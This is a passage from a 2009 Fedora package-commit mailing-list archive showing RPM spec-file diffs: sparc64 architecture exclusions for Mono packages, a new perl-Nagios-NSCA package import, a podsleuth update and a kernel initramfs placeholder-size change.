+* Wed Oct 25 2007 Deji Akingunola <dakingun at gmail.com> - 0.9.20-2
+- Fix multiarch conflicts (BZ #340891)
+- Bypass 'make check' for ppc64, its failing two tests there
+
+* Tue Aug 21 2007 Deji Akingunola <dakingun at gmail.com> - 0.9.20-1
+- Update to version 0.9.20
+
+* Sat Aug 11 2007 Deji Akingunola <dakingun at gmail.com> - 0.9.19-1
+- Latest release update
+
+* Fri Aug 03 2007 Deji Akingunola <dakingun at gmail.com> - 0.9.16a-2
+- License tag update
+
+* Thu Feb 22 2007 Deji Akingunola <dakingun at gmail.com> - 0.9.16a-2
+- Add -contrib subpackage 
+
 * Thu Dec 07 2006 Deji Akingunola <dakingun at gmail.com> - 0.9.16a-1
-- Name the built package clucene-core to conform to upstream naming
 - Update to latest stable release 
 - Run make check during build
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/clucene/EL-5/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 Dec 2006 17:09:38 -0000	1.2
+++ sources	26 Oct 2009 21:58:53 -0000	1.3
@@ -1 +1 @@
-0ed4f537321065c68ed802be67b25b10  clucene-core-0.9.16a.tar.bz2
+ba1a8f764a2ca19c66ad907dddd88352  clucene-core-0.9.21b.tar.bz2



From ausil at fedoraproject.org  Mon Oct 26 21:59:26 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 21:59:26 +0000 (UTC)
Subject: rpms/gsf-sharp/F-12 gsf-sharp.spec,1.29,1.30
Message-ID: <20091026215926.7DFB911C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gsf-sharp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18600

Modified Files:
	gsf-sharp.spec 
Log Message:
exclude sparc 64



Index: gsf-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gsf-sharp/F-12/gsf-sharp.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- gsf-sharp.spec	20 Aug 2009 23:49:09 -0000	1.29
+++ gsf-sharp.spec	26 Oct 2009 21:59:26 -0000	1.30
@@ -1,6 +1,6 @@
 Name:           gsf-sharp
 Version:        0.8.1
-Release:        11%{?dist}
+Release:        12%{?dist}
 Summary:        Mono bindings for libgsf
 
 Group:          System Environment/Libraries
@@ -13,9 +13,8 @@ BuildRequires:  mono-devel libgsf-devel 
 BuildRequires:  gtk-sharp2-devel
 Requires:       libgsf
 
-# Mono only available on these:
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
-# no mono on s390 for now: s390 s390x 
+# Mono not available on these:
+ExcludeArch: sparc64
 
 %description
 Mono bindings for libgsf
@@ -60,6 +59,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/gsf-sharp.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <denis at ausil.us> - 0.8.1-12
+- exclude sparc64
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.8.1-11
 - Rebuild ppc64 packages
 



From ausil at fedoraproject.org  Mon Oct 26 22:00:43 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 22:00:43 +0000 (UTC)
Subject: rpms/gsf-sharp/devel gsf-sharp.spec,1.29,1.30
Message-ID: <20091026220043.AEAEC11C0268@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gsf-sharp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19442

Modified Files:
	gsf-sharp.spec 
Log Message:
rxclude sparc64



Index: gsf-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gsf-sharp/devel/gsf-sharp.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- gsf-sharp.spec	20 Aug 2009 23:49:09 -0000	1.29
+++ gsf-sharp.spec	26 Oct 2009 22:00:43 -0000	1.30
@@ -1,6 +1,6 @@
 Name:           gsf-sharp
 Version:        0.8.1
-Release:        11%{?dist}
+Release:        12%{?dist}
 Summary:        Mono bindings for libgsf
 
 Group:          System Environment/Libraries
@@ -13,9 +13,8 @@ BuildRequires:  mono-devel libgsf-devel 
 BuildRequires:  gtk-sharp2-devel
 Requires:       libgsf
 
-# Mono only available on these:
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
-# no mono on s390 for now: s390 s390x 
+# Mono not available on these:
+ExcludeArch: sparc64
 
 %description
 Mono bindings for libgsf
@@ -60,6 +59,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/gsf-sharp.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <denis at ausil.us> - 0.8.1-12
+- exclude sparc64
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 0.8.1-11
 - Rebuild ppc64 packages
 



From stevetraylen at fedoraproject.org  Mon Oct 26 22:02:48 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Mon, 26 Oct 2009 22:02:48 +0000 (UTC)
Subject: rpms/perl-Nagios-NSCA/devel import.log, NONE,
	1.1 perl-Nagios-NSCA.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091026220248.C32DA11C0264@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/perl-Nagios-NSCA/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20593/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log perl-Nagios-NSCA.spec 
Log Message:
Import rhbz#524896



--- NEW FILE import.log ---
perl-Nagios-NSCA-0_1-3_fc11:HEAD:perl-Nagios-NSCA-0.1-3.fc11.src.rpm:1256594506


--- NEW FILE perl-Nagios-NSCA.spec ---
Name:           perl-Nagios-NSCA
Version:        0.1
Release:        3%{?dist}
Summary:        Nagios::NSCA Perl module
License:        GPL+ 
Group:          Development/Libraries
URL:            http://search.cpan.org/dist/Nagios-NSCA/
Source0:        http://www.cpan.org/modules/by-module/Nagios/Nagios-NSCA-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
BuildRequires:  perl(Digest::CRC)
BuildRequires:  perl(ExtUtils::MakeMaker)
Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description
Nagios::NSCA Perl module

%prep
%setup -q -n Nagios-NSCA-%{version}
# Move the lib to the lib dir.
# http://rt.cpan.org/Public/Bug/Display.html?id=43183
mkdir lib
mv Nagios lib/.

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}
# Use this file as a doc example.
chmod 644 bin/send_nsca

%install
rm -rf $RPM_BUILD_ROOT

make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
# rm from bin and include as doc as an example.
# To confusing given the "real" /usr/sbin/send_nsca
# Make it a doc instead
rm -f $RPM_BUILD_ROOT/%{_bindir}/send_nsca

find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;

%{_fixperms} $RPM_BUILD_ROOT/*

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc bin/send_nsca
%{perl_vendorlib}/*

%changelog
* Tue Oct 6  2009 Steve Traylen <steve.traylen at cern.ch> - 0.1-3
- Install send_nsca as a doc example only.

* Tue Sep 29 2009 Steve Traylen <steve.traylen at cern.ch> - 0.1-2
- Correct license to GPL+

* Tue Sep 22 2009 Steve Traylen <steve.traylen at cern.ch> - 0.1-1
- Specfile autogenerated by cpanspec 1.78.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Nagios-NSCA/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	26 Oct 2009 20:05:45 -0000	1.1
+++ .cvsignore	26 Oct 2009 22:02:47 -0000	1.2
@@ -0,0 +1 @@
+Nagios-NSCA-0.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Nagios-NSCA/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:05:45 -0000	1.1
+++ sources	26 Oct 2009 22:02:48 -0000	1.2
@@ -0,0 +1 @@
+58da3f36e0fc34a7db73e467de7f36f2  Nagios-NSCA-0.1.tar.gz



From ausil at fedoraproject.org  Mon Oct 26 22:04:57 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 22:04:57 +0000 (UTC)
Subject: rpms/mono-tools/F-12 mono-tools.spec,1.41,1.42
Message-ID: <20091026220457.1364411C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-tools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21340

Modified Files:
	mono-tools.spec 
Log Message:
exclude sparc64



Index: mono-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-tools/F-12/mono-tools.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- mono-tools.spec	25 Jul 2009 15:02:28 -0000	1.41
+++ mono-tools.spec	26 Oct 2009 22:04:56 -0000	1.42
@@ -3,7 +3,7 @@
 Summary: A collection of tools for mono applications
 Name: mono-tools
 Version: 2.4.2
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: MIT
 Group: Development/Tools
 Source0: %{name}-%{version}.tar.bz2
@@ -19,7 +19,7 @@ Requires: mono-core >= 2.4.2 links monod
 Requires: mono(gtkhtml-sharp) >= 3.0
 Requires: mono(webkit-sharp)
 
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha ppc ppc64
+ExcludeArch: sparc64
 
 %description
 Monotools are a number of tools for mono such as allowing monodoc to be run
@@ -135,6 +135,9 @@ desktop-file-install --vendor fedora \
 %{_libdir}/monodoc/web/*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.4.2-6
+- exclude sparc64
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.2-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From stevetraylen at fedoraproject.org  Mon Oct 26 22:05:30 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Mon, 26 Oct 2009 22:05:30 +0000 (UTC)
Subject: rpms/perl-Nagios-NSCA/EL-5 perl-Nagios-NSCA.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091026220530.A704111C0264@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/perl-Nagios-NSCA/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21431/EL-5

Modified Files:
	sources 
Added Files:
	perl-Nagios-NSCA.spec 
Log Message:
rhbz#524896 for the old branchs.



--- NEW FILE perl-Nagios-NSCA.spec ---
Name:           perl-Nagios-NSCA
Version:        0.1
Release:        3%{?dist}
Summary:        Nagios::NSCA Perl module
License:        GPL+ 
Group:          Development/Libraries
URL:            http://search.cpan.org/dist/Nagios-NSCA/
Source0:        http://www.cpan.org/modules/by-module/Nagios/Nagios-NSCA-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
BuildRequires:  perl(Digest::CRC)
BuildRequires:  perl(ExtUtils::MakeMaker)
Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description
Nagios::NSCA Perl module

%prep
%setup -q -n Nagios-NSCA-%{version}
# Move the lib to the lib dir.
# http://rt.cpan.org/Public/Bug/Display.html?id=43183
mkdir lib
mv Nagios lib/.

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}
# Use this file as a doc example.
chmod 644 bin/send_nsca

%install
rm -rf $RPM_BUILD_ROOT

make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
# rm from bin and include as doc as an example.
# To confusing given the "real" /usr/sbin/send_nsca
# Make it a doc instead
rm -f $RPM_BUILD_ROOT/%{_bindir}/send_nsca

find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;

%{_fixperms} $RPM_BUILD_ROOT/*

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc bin/send_nsca
%{perl_vendorlib}/*

%changelog
* Tue Oct 6  2009 Steve Traylen <steve.traylen at cern.ch> - 0.1-3
- Install send_nsca as a doc example only.

* Tue Sep 29 2009 Steve Traylen <steve.traylen at cern.ch> - 0.1-2
- Correct license to GPL+

* Tue Sep 22 2009 Steve Traylen <steve.traylen at cern.ch> - 0.1-1
- Specfile autogenerated by cpanspec 1.78.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Nagios-NSCA/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:05:45 -0000	1.1
+++ sources	26 Oct 2009 22:05:30 -0000	1.2
@@ -0,0 +1 @@
+58da3f36e0fc34a7db73e467de7f36f2  Nagios-NSCA-0.1.tar.gz



From stevetraylen at fedoraproject.org  Mon Oct 26 22:05:30 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Mon, 26 Oct 2009 22:05:30 +0000 (UTC)
Subject: rpms/perl-Nagios-NSCA/F-11 perl-Nagios-NSCA.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091026220530.EA78511C0264@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/perl-Nagios-NSCA/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21431/F-11

Modified Files:
	sources 
Added Files:
	perl-Nagios-NSCA.spec 
Log Message:
rhbz#524896 for the old branchs.



--- NEW FILE perl-Nagios-NSCA.spec ---
Name:           perl-Nagios-NSCA
Version:        0.1
Release:        3%{?dist}
Summary:        Nagios::NSCA Perl module
License:        GPL+ 
Group:          Development/Libraries
URL:            http://search.cpan.org/dist/Nagios-NSCA/
Source0:        http://www.cpan.org/modules/by-module/Nagios/Nagios-NSCA-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
BuildRequires:  perl(Digest::CRC)
BuildRequires:  perl(ExtUtils::MakeMaker)
Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description
Nagios::NSCA Perl module

%prep
%setup -q -n Nagios-NSCA-%{version}
# Move the lib to the lib dir.
# http://rt.cpan.org/Public/Bug/Display.html?id=43183
mkdir lib
mv Nagios lib/.

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}
# Use this file as a doc example.
chmod 644 bin/send_nsca

%install
rm -rf $RPM_BUILD_ROOT

make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
# rm from bin and include as doc as an example.
# To confusing given the "real" /usr/sbin/send_nsca
# Make it a doc instead
rm -f $RPM_BUILD_ROOT/%{_bindir}/send_nsca

find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;

%{_fixperms} $RPM_BUILD_ROOT/*

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc bin/send_nsca
%{perl_vendorlib}/*

%changelog
* Tue Oct 6  2009 Steve Traylen <steve.traylen at cern.ch> - 0.1-3
- Install send_nsca as a doc example only.

* Tue Sep 29 2009 Steve Traylen <steve.traylen at cern.ch> - 0.1-2
- Correct license to GPL+

* Tue Sep 22 2009 Steve Traylen <steve.traylen at cern.ch> - 0.1-1
- Specfile autogenerated by cpanspec 1.78.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Nagios-NSCA/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:05:45 -0000	1.1
+++ sources	26 Oct 2009 22:05:30 -0000	1.2
@@ -0,0 +1 @@
+58da3f36e0fc34a7db73e467de7f36f2  Nagios-NSCA-0.1.tar.gz



From stevetraylen at fedoraproject.org  Mon Oct 26 22:05:31 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Mon, 26 Oct 2009 22:05:31 +0000 (UTC)
Subject: rpms/perl-Nagios-NSCA/F-12 perl-Nagios-NSCA.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091026220531.64ECA11C0264@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/perl-Nagios-NSCA/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21431/F-12

Modified Files:
	sources 
Added Files:
	perl-Nagios-NSCA.spec 
Log Message:
rhbz#524896 for the old branchs.



--- NEW FILE perl-Nagios-NSCA.spec ---
Name:           perl-Nagios-NSCA
Version:        0.1
Release:        3%{?dist}
Summary:        Nagios::NSCA Perl module
License:        GPL+ 
Group:          Development/Libraries
URL:            http://search.cpan.org/dist/Nagios-NSCA/
Source0:        http://www.cpan.org/modules/by-module/Nagios/Nagios-NSCA-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch
BuildRequires:  perl(Digest::CRC)
BuildRequires:  perl(ExtUtils::MakeMaker)
Requires:       perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))

%description
Nagios::NSCA Perl module

%prep
%setup -q -n Nagios-NSCA-%{version}
# Move the lib to the lib dir.
# http://rt.cpan.org/Public/Bug/Display.html?id=43183
mkdir lib
mv Nagios lib/.

%build
%{__perl} Makefile.PL INSTALLDIRS=vendor
make %{?_smp_mflags}
# Use this file as a doc example.
chmod 644 bin/send_nsca

%install
rm -rf $RPM_BUILD_ROOT

make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
# rm from bin and include as doc as an example.
# To confusing given the "real" /usr/sbin/send_nsca
# Make it a doc instead
rm -f $RPM_BUILD_ROOT/%{_bindir}/send_nsca

find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} \;
find $RPM_BUILD_ROOT -depth -type d -exec rmdir {} 2>/dev/null \;

%{_fixperms} $RPM_BUILD_ROOT/*

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc bin/send_nsca
%{perl_vendorlib}/*

%changelog
* Tue Oct 6  2009 Steve Traylen <steve.traylen at cern.ch> - 0.1-3
- Install send_nsca as a doc example only.

* Tue Sep 29 2009 Steve Traylen <steve.traylen at cern.ch> - 0.1-2
- Correct license to GPL+

* Tue Sep 22 2009 Steve Traylen <steve.traylen at cern.ch> - 0.1-1
- Specfile autogenerated by cpanspec 1.78.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Nagios-NSCA/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	26 Oct 2009 20:05:45 -0000	1.1
+++ sources	26 Oct 2009 22:05:31 -0000	1.2
@@ -0,0 +1 @@
+58da3f36e0fc34a7db73e467de7f36f2  Nagios-NSCA-0.1.tar.gz



From ausil at fedoraproject.org  Mon Oct 26 22:05:53 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 22:05:53 +0000 (UTC)
Subject: rpms/mono-tools/devel mono-tools.spec,1.42,1.43
Message-ID: <20091026220553.75A6111C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/mono-tools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21980

Modified Files:
	mono-tools.spec 
Log Message:
exclude sparc64



Index: mono-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-tools/devel/mono-tools.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- mono-tools.spec	4 Oct 2009 19:40:41 -0000	1.42
+++ mono-tools.spec	26 Oct 2009 22:05:53 -0000	1.43
@@ -2,24 +2,24 @@
 
 Summary: A collection of tools for mono applications
 Name: mono-tools
-Version: 2.6
-Release: 1%{?dist}
+Version: 2.4.2
+Release: 6%{?dist}
 License: MIT
 Group: Development/Tools
 Source0: %{name}-%{version}.tar.bz2
 URL: http://mono.ximian.com/monobuild/preview/sources-preview/
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:  mono-data, mono-devel >= 2.6, gtk-sharp2-gapi, pkgconfig mono-nunit
+BuildRequires:  mono-data, mono-devel >= 2.4.2, gtk-sharp2-gapi, pkgconfig mono-nunit
 BuildRequires: gecko-sharp2-devel gnome-sharp-devel, gettext-devel
 BuildRequires: gtk-sharp2-devel autoconf automake libtool mono-nunit-devel
 BuildRequires: hunspell-devel desktop-file-utils gnome-desktop-sharp-devel
 BuildRequires: mono-jscript mono-data-oracle monodoc-devel mono-web-devel
 BuildRequires: webkit-sharp-devel
-Requires: mono-core >= 2.6 links monodoc
+Requires: mono-core >= 2.4.2 links monodoc
 Requires: mono(gtkhtml-sharp) >= 3.0
 Requires: mono(webkit-sharp)
 
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparc alpha ppc ppc64
+ExcludeArch: sparc64
 
 %description
 Monotools are a number of tools for mono such as allowing monodoc to be run
@@ -96,9 +96,7 @@ desktop-file-install --vendor fedora \
 %{_bindir}/gsharp
 %{_bindir}/mperfmon
 %{_bindir}/gui-compare
-%{_bindir}/emveepee
-%{_bindir}/minvoke
-%{_libdir}/gsharp/gsharp.exe*
+%{_libdir}/gsharp/gsharp.exe
 %{_libdir}/gendarme/*.dll
 %{_libdir}/gendarme/*.exe
 %{_libdir}/gendarme/*.xml
@@ -111,14 +109,10 @@ desktop-file-install --vendor fedora \
 %{_libdir}/monodoc/GtkHtmlHtmlRender.dll
 %{_libdir}/monodoc/WebKitHtmlRender.dll
 %{_libdir}/monodoc/browser.exe
-%{_libdir}/minvoke/minvoke.exe
-%dir %{_libdir}/minvoke
 %dir %{_libdir}/ilcontrast
 %{_libdir}/ilcontrast/ilcontrast.exe
 %dir %{_libdir}/mono-tools
 %{_libdir}/mono-tools/mprof*
-%{_libdir}/mono-tools/Mono.Profiler.Widgets*
-%{_libdir}/mono-tools/emveepee.exe*
 %{_mandir}/man1/mprof*
 %{_mandir}/man1/create-native-map.1.gz
 %{_datadir}/pixmaps/ilcontrast.png
@@ -139,11 +133,10 @@ desktop-file-install --vendor fedora \
 %{_libdir}/monodoc/sources/gendarme*
 %dir %{_libdir}/monodoc/web
 %{_libdir}/monodoc/web/*
-%{_mandir}/man5/gendarme*
 
 %changelog
-* Sun Oct 04 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.6-1
-- Bump to 2.6
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.4.2-6
+- exclude sparc64
 
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.2-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From davej at fedoraproject.org  Mon Oct 26 22:13:48 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Mon, 26 Oct 2009 22:13:48 +0000 (UTC)
Subject: rpms/kernel/F-12 kernel.spec,1.1883,1.1884
Message-ID: <20091026221348.32D7211C0264@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17199

Modified Files:
	kernel.spec 
Log Message:
Make a 20MB initramfs file so rpm gets its diskspace calculations right. (#530778)


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1883
retrieving revision 1.1884
diff -u -p -r1.1883 -r1.1884
--- kernel.spec	26 Oct 2009 04:05:43 -0000	1.1883
+++ kernel.spec	26 Oct 2009 22:13:47 -0000	1.1884
@@ -1568,9 +1568,11 @@ BuildKernel() {
     install -m 644 .config $RPM_BUILD_ROOT/boot/config-$KernelVer
     install -m 644 System.map $RPM_BUILD_ROOT/boot/System.map-$KernelVer
 %if %{with_dracut}
-    touch $RPM_BUILD_ROOT/boot/initramfs-$KernelVer.img
+    # We estimate the size of the initramfs because rpm needs to take this size
+    # into consideration when performing disk space calculations. (See bz #530778)
+    dd if=/dev/zero of=$RPM_BUILD_ROOT/boot/initramfs-$KernelVer.img size=1M count=20
 %else
-    touch $RPM_BUILD_ROOT/boot/initrd-$KernelVer.img
+    dd if=/dev/zero of=$RPM_BUILD_ROOT/boot/initrd-$KernelVer.img size=1M count=5
 %endif
     if [ -f arch/$Arch/boot/zImage.stub ]; then
       cp arch/$Arch/boot/zImage.stub $RPM_BUILD_ROOT/%{image_install_path}/zImage.stub-$KernelVer || :
@@ -2090,6 +2092,9 @@ fi
 # and build.
 
 %changelog
+* Mon Oct 26 2009 Dave Jones <davej at redhat.com>
+- Make a 20MB initramfs file so rpm gets its diskspace calculations right. (#530778)
+
 * Mon Oct 26 2009 Dave Airlie <airlied at redhat.com> 2.6.31.5-97
 - drm: rebase to drm-next, drop palette fix, merged upstream
 - drm-intel-big-hammer.patch: drop, proper fix in 2.6.31.5



From chkr at fedoraproject.org  Mon Oct 26 22:13:58 2009
From: chkr at fedoraproject.org (chkr)
Date: Mon, 26 Oct 2009 22:13:58 +0000 (UTC)
Subject: rpms/podsleuth/devel podsleuth.spec,1.13,1.14
Message-ID: <20091026221358.12D6A11C0264@cvs1.fedora.phx.redhat.com>

Author: chkr

Update of /cvs/pkgs/rpms/podsleuth/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26523

Modified Files:
	podsleuth.spec 
Log Message:
* Mon Oct 26 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.5-2
- Update to 0.6.5
- Remove unneeded sg3_utils patch (upstream supports now
  libsgutils2)



Index: podsleuth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/podsleuth/devel/podsleuth.spec,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- podsleuth.spec	26 Oct 2009 21:18:32 -0000	1.13
+++ podsleuth.spec	26 Oct 2009 22:13:57 -0000	1.14
@@ -1,14 +1,13 @@
 %define		debug_package %{nil}
 
 Name:		podsleuth
-Version:	0.6.4
+Version:	0.6.5
 Release:	2%{?dist}
 Summary:	Probes, identifies, and exposes properties and metadata bound to iPods
 Group:		Applications/Multimedia
 License:	MIT
-URL:		http://banshee-project.org/PodSleuth
-Source0:	http://banshee-project.org/files/%{name}/%{name}-%{version}.tar.bz2
-Patch0:		podsleuth-0.6.4-sg3_utils.patch
+URL:		http://banshee-project.org/
+Source0:	http://banshee-project.org/files/%{name}/%{version}/%{name}-%{version}.tar.bz2
 Patch1:		podsleuth-0.6.2-libdir.patch
 Patch2:		podsleuth-0.6.0-wapidir.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -43,9 +42,6 @@ Development files for podsleuth.
 
 %prep
 %setup -q
-%if 0%{?fedora} >= 10
-%patch0 -p1 -b .sg3_utils
-%endif
 %patch1 -p1 -b .libdir
 %patch2 -p1 -b .wapidir
 
@@ -78,6 +74,11 @@ make install DESTDIR=%{buildroot}
 %{_libdir}/pkgconfig/podsleuth.pc
 
 %changelog
+* Mon Oct 26 2009 Christian Krause <chkr at fedoraproject.org> - 0.6.5-2
+- Update to 0.6.5
+- Remove unneeded sg3_utils patch (upstream supports now
+  libsgutils2)
+
 * Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.6.4-2
 - ExcludeArch sparc64
 



From ausil at fedoraproject.org  Mon Oct 26 22:16:44 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 22:16:44 +0000 (UTC)
Subject: rpms/monotorrent/F-12 monotorrent.spec,1.12,1.13
Message-ID: <20091026221644.9093111C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/monotorrent/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27798

Modified Files:
	monotorrent.spec 
Log Message:
exclude sparc64



Index: monotorrent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/monotorrent/F-12/monotorrent.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- monotorrent.spec	25 Jul 2009 15:04:57 -0000	1.12
+++ monotorrent.spec	26 Oct 2009 22:16:44 -0000	1.13
@@ -2,7 +2,7 @@
 
 Name:           monotorrent
 Version:        0.72
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Mono bittorrent client
 Group:          Development/Languages
 License:        MIT
@@ -11,8 +11,7 @@ Source0:        %{name}-%{version}.tar.g
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  mono-devel, gtk-sharp2-devel, desktop-file-utils
 
-# Bug 241850 - no Mono on ppc64
-ExclusiveArch: %ix86 x86_64 ia64 armv4l sparcv9 alpha s390 s390x ppc ppc64
+ExcludeArch: sparc64
 
 %description
 Monotorrent is a bittorrent for mono
